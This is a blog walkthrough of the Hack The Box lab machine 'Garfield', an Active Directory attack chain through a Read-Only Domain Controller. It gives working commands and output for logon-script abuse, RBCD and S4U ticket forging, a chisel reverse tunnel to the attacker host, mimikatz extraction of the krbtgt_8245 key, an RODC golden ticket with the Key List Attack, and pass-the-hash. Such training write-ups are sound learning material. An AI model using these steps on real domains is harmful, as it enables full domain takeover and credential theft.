Hackthebox: Garfield

Foued SAIDI Lv5
  2026-11-07 16:30 2026-11-07 16:30 Created   2026-11-07 22:37 2026-11-07 22:37 Updated    

Overview

Garfield is a hard-difficulty Windows machine from Hack The Box with the following scenario: enumerate writable AD objects with bloodyAD -> notice scriptPath is writable on l.wilson -> drop a password-reset .bat in SYSVOL and abuse the logon script -> l.wilson resets l.wilson_adm (ForceChangePassword) -> WinRM on DC01 + user flag -> l.wilson_adm can write the RODC Administrators group -> add ourselves and create a fake machine account -> set RBCD on RODC01 -> S4U2self/S4U2proxy to forge a cifs/RODC01 ticket as Administrator -> tunnel to the internal RODC subnet with chisel, bind port 445 unprivileged via a user namespace + socat, and bypass the +8h clock skew with libfaketime -> psexec for SYSTEM on RODC01 -> mimikatz lsadump::lsa /inject to pull the krbtgt_8245 AES256 key -> modify the RODC Password Replication Policy to allow Administrator -> forge an RODC golden ticket and run the Kerberos Key List Attack to recover the Administrator NT hash -> Pass-the-Hash -> root.

Garfield
Garfield

This one is a proper AD chain. The whole box is built around a Read-Only Domain Controller (RODC), so if you’ve never played with RODC golden tickets or the Key List Attack before, this is a great box to learn them on. We’re also handed credentials up front (j.arbuckle : Th1sD4mnC4t!@1978), so it’s assumed-breach style from the start.

Let me drop the two hosts into /etc/hosts before anything else, since the RODC lives on an internal subnet we’ll have to tunnel to later:

1
2
10.129.26.128  garfield.htb DC01.garfield.htb dc01.garfield.htb
192.168.100.2  RODC01.garfield.htb rodc01.garfield.htb

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn -p- --min-rate 5000 10.129.26.128

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

The usual domain controller fingerprint, nothing surprising here. One thing worth writing down early though: the DC’s clock is +8 hours ahead of my Kali box. That doesn’t matter yet but it will absolutely bite us when we start doing Kerberos stuff, so keep it in the back of your head.

First, let me make sure the creds we were given actually work:

1
2
3
4
$ nxc smb 10.129.26.128 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'

SMB  10.129.26.128  445  DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb)
SMB  10.129.26.128  445  DC01  [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

Good, valid. Now let me see what j.arbuckle can actually touch in the directory. bloodyAD‘s get writable is perfect for this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ bloodyAD --host 10.129.26.128 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb get writable

distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
permission: WRITE

Two things jump out here. First, there’s a krbtgt_8245 account — that naming (krbtgt_<number>) is the dead giveaway of a Read-Only Domain Controller. So there’s an RODC hiding somewhere in this environment. Second, j.arbuckle can write attributes on both l.wilson and l.wilson_adm. If you drill into exactly which attribute is writable, the only interesting one is scriptPath — which is a classic logon-script abuse.

Let me also peek at the shares quickly:

1
2
3
4
5
6
7
8
$ nxc smb 10.129.26.128 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares

SMB  10.129.26.128  445  DC01  Share      Permissions  Remark
SMB  10.129.26.128  445  DC01  ADMIN$                  Remote Admin
SMB  10.129.26.128  445  DC01  C$                      Default share
SMB  10.129.26.128  445  DC01  IPC$       READ         Remote IPC
SMB  10.129.26.128  445  DC01  NETLOGON   READ         Logon server share
SMB  10.129.26.128  445  DC01  SYSVOL     READ         Logon server share

NETLOGON and SYSVOL are readable, and crucially we can write into the SYSVOL scripts directory. That’s the other half of the logon-script trick.

Foothold - Logon Script Abuse

So here’s the plan. The scriptPath attribute tells Windows which script to run when a user logs in, and it’s resolved relative to the NETLOGON/SYSVOL scripts folder. If I can write a script to SYSVOL and point l.wilson’s scriptPath at it, then whenever l.wilson “logs in” (the box simulates logons), my script runs as l.wilson.

And why do I care about running code as l.wilson? Because l.wilson has User-Force-Change-Password over l.wilson_adm — that’s a really common pattern where a user and their admin counterpart are linked. So my script is just going to reset l.wilson_adm’s password.

The nice thing is this is a completely self-contained payload — no reverse shell, no racing a netcat listener. The script just resets a password and we’re done. I threw three different reset methods in there so whichever one the host supports fires:

1
2
3
4
5
$ cat > /tmp/printerDetect.bat << 'EOF'
@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "try { Set-ADAccountPassword -Identity 'l.wilson_adm' -NewPassword (ConvertTo-SecureString 'Hacked123!' -AsPlainText -Force) -Reset } catch { try { $u=[ADSI]'LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb'; $u.SetPassword('Hacked123!'); $u.SetInfo() } catch {} }"
net user l.wilson_adm Hacked123! /domain
EOF

Upload it to the SYSVOL scripts folder:

1
2
3
4
5
$ nxc smb 10.129.26.128 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' \
    --share SYSVOL --put-file /tmp/printerDetect.bat \
    'garfield.htb/scripts/printerDetect.bat'

SMB  10.129.26.128  445  DC01  [+] Created file /tmp/printerDetect.bat on \\SYSVOL\garfield.htb/scripts/printerDetect.bat

Now point l.wilson’s scriptPath at it:

1
2
3
4
$ bloodyAD --host garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \
    set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat

[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated

And now we wait for the simulated logon to fire. I just loop and keep trying the new creds:

1
2
3
$ for i in $(seq 1 10); do sleep 30; nxc smb 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' 2>&1 | tail -1; done

SMB  10.129.26.128  445  DC01  [+] garfield.htb\l.wilson_adm:Hacked123!

Reset fired on the very first cycle (~30 seconds). l.wilson_adm is now ours. Let me confirm WinRM works and grab the user flag while I’m at it:

1
2
3
4
5
$ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' \
    -x 'type C:\Users\l.wilson_adm\Desktop\user.txt'

WINRM  10.129.26.128  5985  DC01  [+] garfield.htb\l.wilson_adm:Hacked123! (Pwn3d!)
WINRM  10.129.26.128  5985  DC01  b896c403227e5657b4ce817ef9097160

And that’s the user flag. Pwn3d! on WinRM too, so we’ve got a shell on DC01.

Enumeration as l.wilson_adm

Before diving into anything fancy, let me see what this new account is and what it can do:

1
2
3
4
5
6
7
8
9
10
11
$ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -x 'whoami /groups'

GARFIELD\Tier 1
BUILTIN\Remote Management Users
BUILTIN\Users

$ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -X 'whoami /priv'

SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeMachineAccountPrivilege is enabled, which means l.wilson_adm can add new computer accounts to the domain (up to the default 10). File that away — we’re going to need a machine account for RBCD in a minute.

Now let me look at the computers in the domain:

1
2
3
4
5
$ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' \
    -X 'Get-ADComputer -Filter * | Select-Object Name,DNSHostName'

DC01    DC01.garfield.htb
RODC01  RODC01.garfield.htb

There’s our RODC. DNS resolves RODC01.garfield.htb to 192.168.100.2, which is an internal subnet we can’t reach directly from the VPN. The only host that can reach it is DC01 itself, which is dual-homed (192.168.100.1 internally + 10.129.26.128 on our side). So anything we do against the RODC later is going to have to go through a tunnel pivoting off DC01.

The other key finding here is that l.wilson_adm has write access on the “RODC Administrators” group. This is the pivot. That group isn’t local admin on the RODC — what it grants is the delegated right to modify the RODC computer object in AD, including its msDS-AllowedToActOnBehalfOfOtherIdentity attribute. In other words, membership in that group lets us set up RBCD against RODC01.

RBCD Against RODC01

The path to the RODC is Resource-Based Constrained Delegation. The plan:

  1. Add l.wilson_adm to the RODC Administrators group so we can write the RODC’s delegation attribute.
  2. Create a fake computer account (we have SeMachineAccountPrivilege).
  3. Configure RBCD so our fake computer is trusted to delegate to RODC01.
  4. Use S4U2self/S4U2proxy to request a service ticket to RODC01 impersonating Administrator.

First, add ourselves to the group:

1
2
3
4
$ bloodyAD --host garfield.htb -u l.wilson_adm -p 'Hacked123!' -d garfield.htb \
    add groupMember "RODC Administrators" l.wilson_adm

[+] l.wilson_adm added to RODC Administrators

Create the fake machine account:

1
2
3
4
$ impacket-addcomputer garfield.htb/l.wilson_adm:'Hacked123!' \
    -computer-name 'FAKE$' -computer-pass 'FakePass123!' -dc-ip 10.129.26.128

[*] Successfully added machine account FAKE$ with password FakePass123!.

Now set RBCD on RODC01 pointing at FAKE$. Easiest to just do it from the WinRM session with PowerShell:

1
2
3
4
5
6
$ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -X \
    'Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount FAKE$;
     Get-ADComputer RODC01 -Properties PrincipalsAllowedToDelegateToAccount |
       Select -ExpandProperty PrincipalsAllowedToDelegateToAccount'

WINRM  10.129.26.128  5985  DC01  CN=FAKE,CN=Computers,DC=garfield,DC=htb

RBCD is set. FAKE$ can now impersonate any user to RODC01 via S4U.

Getting the S4U Ticket (and the clock skew problem)

Remember that +8h clock skew I mentioned during recon? This is where it bites. Kerberos preauth will flat-out refuse if our clock is too far off from the DC’s, and normally you’d just ntpdate to sync up — except I don’t have root on my Kali box in this context, so I can’t touch the system clock.

The clean trick is libfaketime: it’s a small LD_PRELOAD shared library that lets you fake the clock per-process, without root and without affecting anything else on the system. Let me grab it out of the Kali package without installing it system-wide:

1
2
3
4
5
6
7
$ apt download libfaketime
$ dpkg-deb -x libfaketime_0.9.12-0.2_amd64.deb /tmp/ftroot
$ find /tmp/ftroot -name 'libfaketime*'
/tmp/ftroot/usr/lib/x86_64-linux-gnu/faketime/libfaketime.so.1

$ LD_PRELOAD=/tmp/ftroot/usr/lib/x86_64-linux-gnu/faketime/libfaketime.so.1 FAKETIME='+8h' date
Sat Apr 11 03:45:43 PM EDT 2026   # +8h applied vs the real time

Now I can wrap any Kerberos tool with that preload and FAKETIME='+8h' and preauth is happy. Let me request the S4U ticket for cifs/RODC01 impersonating Administrator:

1
2
3
4
5
6
7
8
9
10
11
$ LD_PRELOAD=/tmp/ftroot/usr/lib/x86_64-linux-gnu/faketime/libfaketime.so.1 FAKETIME='+8h' \
    impacket-getST garfield.htb/'FAKE$':'FakePass123!' \
      -spn cifs/RODC01.garfield.htb \
      -impersonate Administrator \
      -dc-ip 10.129.26.128

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

We now have a cifs/RODC01 ticket as Administrator sitting in a ccache. But RODC01 is at 192.168.100.2, which we can’t reach. Time to build that tunnel.

Tunneling to the Internal Subnet

I’ll use chisel for the pivot. First stand up a quick HTTP server on Kali to deliver tooling to DC01, and grab both the linux and windows chisel binaries:

1
2
3
4
5
6
$ cd /tmp && python3 -m http.server 8088 &

$ curl -sL -o /tmp/chisel.gz https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
$ gunzip -f /tmp/chisel.gz && chmod +x /tmp/chisel
$ curl -sL -o /tmp/chisel.exe.gz https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz
$ gunzip -f /tmp/chisel.exe.gz

l.wilson_adm isn’t local admin on DC01, so I can’t just SMB-write chisel.exe into an admin path — but the WinRM session can write to its own profile folder, so I’ll pull it down with Invoke-WebRequest from inside the session:

1
2
3
4
5
$ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -X \
    'iwr http://10.10.16.91:8088/chisel.exe -OutFile C:\Users\l.wilson_adm\Desktop\chisel.exe;
     Get-Item C:\Users\l.wilson_adm\Desktop\chisel.exe | Select Length'

WINRM  10.129.26.128  5985  DC01  9760768

Start the chisel server on Kali:

1
2
$ /tmp/chisel server --reverse -p 8000 -v > /tmp/chisel_srv.log 2>&1 &
2026/04/11 server: Listening on http://0.0.0.0:8000

Now here’s a gotcha I hit. If you launch the chisel client with Start-Process from the WinRM session, it dies the moment the WinRM session closes — the client is a tracked child of the WinRM process and gets torn down within a few seconds. The fix is to properly detach it by launching through cmd /c start "" /B out of a .bat, so the new process is orphaned off and survives the session closing:

1
2
3
4
5
6
7
8
$ cat > /tmp/launch.bat << 'EOF'
@echo off
start "" /B C:\Users\l.wilson_adm\Desktop\chisel.exe client 10.10.16.91:8000 R:5985:192.168.100.2:5985 R:1445:192.168.100.2:445
EOF

$ nxc winrm 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -X \
    'iwr http://10.10.16.91:8088/launch.bat -OutFile C:\Users\l.wilson_adm\Desktop\launch.bat;
     cmd /c "C:\Users\l.wilson_adm\Desktop\launch.bat"'

Notice the port mapping: R:1445:192.168.100.2:445. I’m forwarding the RODC’s SMB (445) to local port 1445, not 445, because 445 is a privileged port that an unprivileged user can’t bind on Kali. We’ll deal with that gap in a second. Verify the tunnel is up:

1
2
3
$ lsof -i -P 2>/dev/null | grep -E ':5985|:1445'
chisel  88777 kali  7u  IPv6 246891  TCP *:5985 (LISTEN)
chisel  88777 kali  8u  IPv6 246892  TCP *:1445 (LISTEN)

Tunnel’s live.

SYSTEM on RODC01

Now I want to psexec into RODC01 using that Administrator ccache. Two problems in the way.

Problem one: impacket’s psexec only accepts -port 139 or -port 445, it won’t take 1445:

1
psexec.py: error: argument -port: invalid choice: '1445' (choose from 139, 445)

I could patch the script, but then I’d have to patch every other impacket tool too. Cleaner to just get something listening on a real 445 locally.

Problem two: binding 445 needs CAP_NET_BIND_SERVICE, and I can’t setcap without root:

1
2
$ setcap cap_net_bind_service=+ep /tmp/chisel
unable to set CAP_SETFCAP effective capability: Operation not permitted

The way around both is an unprivileged user namespace. unshare -U -r drops me into a namespace where I appear as UID 0, and binding “privileged” ports just works:

1
2
3
4
5
$ unshare -U -r id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

$ unshare -U -r python3 -c "import socket; s=socket.socket(); s.bind(('0.0.0.0',445)); print('BOUND')"
BOUND

The important detail is that I’m not passing -n, so the network namespace is still shared with the host. That means a listener I bind inside the namespace is visible to everything else. So the trick is: inside the namespace, run a socat that forwards 127.0.0.1:445 -> 127.0.0.1:1445 (our chisel tunnel), then run impacket against 127.0.0.1:445. I wrapped the whole thing in a script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ cat > /tmp/run_psexec.sh << 'EOF'
#!/bin/bash
socat TCP-LISTEN:445,bind=127.0.0.1,reuseaddr,fork TCP:127.0.0.1:1445 &
SPID=$!
sleep 1
KRB5CCNAME=/home/kali/Desktop/Administrator@[email protected] \
LD_PRELOAD=/tmp/ftroot/usr/lib/x86_64-linux-gnu/faketime/libfaketime.so.1 FAKETIME='+8h' \
  impacket-psexec -k -no-pass -dc-ip 10.129.26.128 -target-ip 127.0.0.1 \
    RODC01.garfield.htb 'whoami'
kill $SPID 2>/dev/null
EOF
chmod +x /tmp/run_psexec.sh

$ unshare -U -r /tmp/run_psexec.sh

[*] Found writable share ADMIN$
[*] Uploading file NnOVxLvj.exe
[*] Creating service DizB on 127.0.0.1.....
[*] Starting service DizB.....
nt authority\system
[*] Process whoami finished with ErrorCode: 0, ReturnCode: 0

nt authority\system on RODC01. Three stacked tricks to get here — libfaketime for the clock, chisel for the pivot, and the user namespace + socat to bind 445 — but it lands.

Dumping the krbtgt_8245 AES256 Key

The whole reason we went after the RODC is its krbtgt_8245 account. That’s the per-RODC krbtgt key that signs the TGTs the RODC issues. If we get its key, we can forge an RODC golden ticket, and then use the Key List Attack against the real DC to pull out the Administrator hash.

Let me try secretsdump first to dump the RODC’s NTDS over VSS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ cat > /tmp/run_secdump.sh << 'EOF'
#!/bin/bash
socat TCP-LISTEN:445,bind=127.0.0.1,reuseaddr,fork TCP:127.0.0.1:1445 &
SPID=$!
sleep 1
KRB5CCNAME=/home/kali/Desktop/Administrator@[email protected] \
LD_PRELOAD=/tmp/ftroot/usr/lib/x86_64-linux-gnu/faketime/libfaketime.so.1 FAKETIME='+8h' \
  impacket-secretsdump -k -no-pass -dc-ip 10.129.26.128 -target-ip 127.0.0.1 \
    -use-vss -just-dc RODC01.garfield.htb
kill $SPID 2>/dev/null
EOF

$ unshare -U -r /tmp/run_secdump.sh

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt_8245:1603:aad3b435b51404eeaad3b435b51404ee:445aa4221e751da37a10241d962780e2:::
garfield.htb\j.arbuckle:3101:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
garfield.htb\l.wilson_adm:3107:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Notice that nearly every account comes back as 31d6... — that’s the empty-password NT hash, i.e. a placeholder. That’s expected: an RODC only stores secrets for accounts whose passwords have actually been replicated to it (its Password Replication Policy), which initially is just RODC01$ and krbtgt_8245. So 445aa4221e751da37a10241d962780e2 is the real krbtgt_8245 NT hash.

Problem is, if you try to forge the RODC golden ticket with that RC4/NT hash, the modern Server 2019 DC rejects it with KRB_AP_ERR_BAD_INTEGRITY — it validates the PAC signatures using the strongest key available, which is AES256, and an RC4-signed PAC fails. So we need the AES256 key, and secretsdump -just-dc over VSS doesn’t hand us Kerberos keys for this account. Time for mimikatz.

Upload mimikatz to the RODC through the same SMB tunnel and run lsadump::lsa /inject against krbtgt_8245 (I wrapped it in a .bat redirecting to a log, because passing nested quotes through psexec’s cmd /c is painful):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mimikatz(commandline) # lsadump::lsa /inject /name:krbtgt_8245
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 00000643 (1603)
User : krbtgt_8245

 * Primary
    NTLM : 445aa4221e751da37a10241d962780e2

 * Kerberos-Newer-Keys
    Default Salt : GARFIELD.HTBkrbtgt_8245
    Credentials
      aes256_hmac       (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
      aes128_hmac       (4096) : 124c0fd09f5fa4efca8d9f1da91369e5

There’s our AES256 key: d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240.

Modifying the RODC Password Replication Policy

One more prerequisite before the golden ticket. For the Key List Attack to actually return Administrator’s key material (instead of just a session key), Administrator has to be allowed to replicate to the RODC. That’s controlled by two attributes on the RODC object:

  • msDS-RevealOnDemandGroup — the allow list.
  • msDS-NeverRevealGroup — the deny list, and deny always beats allow.

Let me look at the current policy:

1
2
3
4
5
6
$ bloodyAD --host 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -d garfield.htb \
    get object 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' \
    --attr msDS-RevealOnDemandGroup,msDS-NeverRevealGroup

msDS-NeverRevealGroup: ...; CN=Administrators,CN=Builtin,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb

Administrator is a member of BUILTIN\Administrators, which sits in the NeverReveal (deny) group — so even if we allow Administrator, that explicit deny wins. We need to both add Administrator to the allow group and wipe the deny group. Since l.wilson_adm has write on the RODC object via the RODC Administrators group, we can do both:

1
2
3
4
5
6
7
8
9
10
11
12
$ bloodyAD --host 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -d garfield.htb \
    set object 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' \
    msDS-RevealOnDemandGroup \
      -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb' \
      -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb'

[+] msDS-RevealOnDemandGroup has been updated

$ bloodyAD --host 10.129.26.128 -u 'l.wilson_adm' -p 'Hacked123!' -d garfield.htb \
    set object 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' msDS-NeverRevealGroup

[+] msDS-NeverRevealGroup has been updated

Setting msDS-NeverRevealGroup with no values clears it entirely. Administrator is now allowed to be replicated to the RODC.

RODC Golden Ticket + Key List Attack

Now the payoff. I’ll forge an RODC golden ticket as Administrator using the krbtgt_8245 AES256 key, then send it to DC01 with the Key List Attack to extract the real Administrator hash.

One heads up: use a recent Rubeus. Rubeus 2.2 builds the PAC for RODC golden tickets in a way the modern DC rejects with BAD_INTEGRITY even when the key is correct — 2.3.3 from SharpCollection signs it properly. Grab that one.

Forge the ticket:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat > /tmp/golden2.bat << 'EOF'
@echo off
cd C:\Users\l.wilson_adm\Desktop
.\Rubeus.exe golden ^
    /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 ^
    /user:Administrator /id:500 ^
    /domain:garfield.htb ^
    /sid:S-1-5-21-2502726253-3859040611-225969357 ^
    /rodcNumber:8245 ^
    /flags:forwardable,renewable,enc_pa_rep ^
    /nowrap > golden2.log 2>&1
type golden2.log
EOF
1
2
3
4
5
6
7
8
9
[*] Action: Build TGT
[*] Building PAC
[*] SID            : S-1-5-21-2502726253-3859040611-225969357
[*] UserId         : 500
[*] ServiceKey     : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Forged a TGT for '[email protected]'
[*] base64(ticket.kirbi):
doIFkjCCBY6gAwIBBaEDAgEWooIEfzCCBHthggR3MIIEc6ADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+...

The key part is /rodcNumber:8245 — that encodes the RODC branch ID into the ticket’s kvno field, which tells the full DC to validate the PAC signatures with krbtgt_8245‘s keys rather than the main krbtgt.

Now the Key List Attack. I feed that forged TGT back to DC01 with /keyList /service:krbtgt/garfield.htb. The DC treats it as a legitimate RODC request, replicates Administrator’s password material (which we just allowed via the PRP), and hands back the NT hash:

1
2
3
4
5
6
7
8
$ cat > /tmp/keylist3.bat << 'EOF'
@echo off
cd C:\Users\l.wilson_adm\Desktop
set TKT=doIFkjCCBY6gAwIBBaEDAgEWooIEfzCCBHthggR3MIIEc6ADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+...
.\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb ^
    /dc:DC01.garfield.htb /ticket:%TKT% /nowrap > kl3.log 2>&1
type kl3.log
EOF
1
2
3
4
5
6
7
8
[*] Action: Ask TGS
[*] Building KeyList TGS-REQ request for: 'Administrator'
[*] Using domain controller: DC01.garfield.htb
[+] TGS request successful!

UserName                 :  Administrator (NT_PRINCIPAL)
KeyType                  :  aes256_cts_hmac_sha1
Password Hash            :  EE238F6DEBC752010428F20875B092D5

There it is — Administrator NT hash: EE238F6DEBC752010428F20875B092D5.

Worth noting why this attack works and the more obvious ones don’t: lsadump::dcsync from SYSTEM on the RODC fails with 0x2105 because RODC$ doesn’t have full replication rights, and lsadump::netsync fails with STATUS_NO_TRUST_SAM_ACCOUNT because RODC machine accounts don’t speak the regular netlogon trust protocol. The Key List Attack is a legitimate part of the Kerberos protocol that DCs implement specifically so RODCs can fetch keys for accounts in their PRP — we’re just signing the request with krbtgt_8245 ourselves.

Pass-the-Hash -> Root

With the Administrator NT hash, the rest is a formality. Confirm it works:

1
2
3
$ nxc winrm 10.129.26.128 -u 'Administrator' -H 'EE238F6DEBC752010428F20875B092D5'

WINRM  10.129.26.128  5985  DC01  [+] garfield.htb\Administrator:EE238F6DEBC752010428F20875B092D5 (Pwn3d!)

Then psexec to DC01 with the hash, dump the root flag to a temp file and pull it back over SMB:

1
2
3
4
5
$ nxc smb 10.129.26.128 -u 'Administrator' -H 'EE238F6DEBC752010428F20875B092D5' \
    --share C$ --get-file 'Windows\Temp\r2.txt' /tmp/r2.txt

$ cat /tmp/r2.txt
1cefa5cd03367c422d05d96e75c18e7b

And that’s root.

Credentials Captured

Principal Secret Source
j.arbuckle Th1sD4mnC4t!@1978 Given
l.wilson_adm Hacked123! Logon-script password reset via l.wilson
FAKE$ FakePass123! Created via impacket-addcomputer
krbtgt_8245 NTLM 445aa4221e751da37a10241d962780e2 secretsdump (RODC NTDS)
krbtgt_8245 AES256 d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 mimikatz lsadump::lsa /inject
Administrator NTLM EE238F6DEBC752010428F20875B092D5 Rubeus Key List Attack

Final Thoughts

Garfield is a great box if you want to actually understand RODCs rather than just read about them. The foothold is a clean, self-contained logon-script abuse, but the real meat is everything around the RODC — RBCD to get a foothold on it, then the golden ticket + Key List Attack to walk back up to the real Administrator. The supporting tricks (libfaketime for the clock skew, chisel for the pivot, and the user-namespace + socat dance to bind 445 without root) are the kind of thing that are annoying the first time and second nature after. Fun box, thanks for reading!

References

  • Title: Hackthebox: Garfield
  • Author: Foued SAIDI
  • Created at : 2026-11-07 16:30:00
  • Updated at : 2026-11-07 22:00:37
  • Link: https://kujen5.github.io/2026/11/07/Hackthebox-Garfield/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
Hackthebox: Garfield
  1. Overview
  2. Reconnaissance
  3. Foothold - Logon Script Abuse
  4. Enumeration as l.wilson_adm
  5. RBCD Against RODC01
  6. Getting the S4U Ticket (and the clock skew problem)
  7. Tunneling to the Internal Subnet
  8. SYSTEM on RODC01
  9. Dumping the krbtgt_8245 AES256 Key
  10. Modifying the RODC Password Replication Policy
  11. RODC Golden Ticket + Key List Attack
  12. Pass-the-Hash -> Root
  13. Credentials Captured
  14. Final Thoughts
  15. References